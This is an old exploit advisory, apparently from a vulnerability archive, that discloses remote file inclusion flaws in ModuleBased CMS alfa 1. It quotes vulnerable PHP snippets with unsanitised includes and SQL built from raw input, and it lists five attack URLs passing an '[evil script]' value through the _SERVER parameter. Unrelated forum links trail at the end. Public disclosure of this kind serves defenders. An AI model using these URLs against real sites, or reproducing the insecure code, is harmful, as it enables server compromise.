ModuleBased CMS alfa 1 Multiple Remote File Inclusion

+ModuleBased CMS(MBCMS) multiple remote file Inclusion
+discripton:MBCMS (ModuleBased CMS) is a new CMS designed for ease of use and customability. It is designed +for PHP/MySQL and it is easy to write new modules or templates to suit a particular website.
+version:alfa 1
+vendor site:
+discovered by: ScorpinO
+sites: WwW.ScorpinO.NeT Www.deltahacking.iR
+special tnx to:Dr.trojan,HIV++,D_7J,Vampire,......
+discovered in avatar.php archive.class.php login.php profile.class.php process.php

$profile = new Profile();
$q = mysql_query("SELECT avatar FROM users WHERE username='".$_SESSION['username']."'");
$r = mysql_fetch_assoc($q);



class Archive{
function AllArchives(){
$q = mysql_query("SELECT * FROM posts") or die (mysql_error());
while ($r = mysql_fetch_assoc($q)){
if($r['topic'] == 1)
$topic = "News";
if($r['topic'] == 2)
$topic = "Articles";
echo $topic;
$q = mysql_query("SELECT * FROM posts WHERE topic='".$r['topic']."'") or die (mysql_error());
while($r_posts = mysql_fetch_assoc($q))
echo $r_posts['post'];


$user = new User();
$user->login($_POST['username'], $_POST['pass']);


include_once($_SERVER[DOCUMENT_ROOT]."/libs/config.php"); ?>



+[mbcms]/admin/avatar.php?_SERVER=[evil script]
+[mbcms]/libs/archive.class.php?_SERVER=[evil script]
+[mbcms]/libs/login.php?_SERVER=[evil script]
+[mbcms]/libs/profile.class.php?_SERVER=[evil script]
+[mbcms]/libs/profile/process.php?_SERVER=[evil script]


Relevant Pages

    ... php classified script ... guestbook ardguest free php guestbook script ... php file upload script ...
  • Re: [PHP] PHP console script vs C/C++/C#
    ... My script is taking a longer time to execute than I want. ... I prefer to write in PHP because that is what I know best. ... This is why I am thinking about rewriting my whole script in a C language. ... Perhaps there are different methods I could be using to speed up execution. ...
  • Re: How to Add a Feeback Form
    ... I saw nothing in that script that indicates where the form is e-mailed to so ... Greg Maxey/Word MVP ... PHP or not. ... have the support available yet. ...
  • How best to show PHP source? (was: One page, multiple submit buttons)
    ... script to add to the top of a PHP script to enable showing its ... Maybe anybody submitting their own PHP code for critique here ... Anything posted to a newsgroup is a "snapshot" of what the ... there ought to be a FAQ for this ...
  • Email form script
    ... I have a web form that posts to a .php ... who cannot run .php on their server. ... Or does anyone have a .asp script that will ... Thank you for choosing FormToEmail by ...